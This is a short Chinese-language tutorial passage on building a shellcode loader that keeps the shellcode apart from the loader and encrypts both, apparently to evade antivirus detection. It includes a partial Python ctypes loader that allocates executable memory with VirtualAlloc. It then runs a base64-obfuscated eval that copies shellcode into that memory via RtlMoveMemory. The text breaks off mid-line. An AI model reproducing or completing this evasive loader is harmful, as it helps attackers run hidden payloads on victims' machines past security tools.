原理
shellcode是一段用于利用软件漏洞的有效负载代码,以其经常让攻击者获得shell而得名
shellcode loader加载器是用来运行shellcode的加载器,用什么语言来写都可以
思路就是将shellcode和loader分离开来,用loader加载存在于普通文件中的shellcode
实现
先将loader和shellcode都加密
loader
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="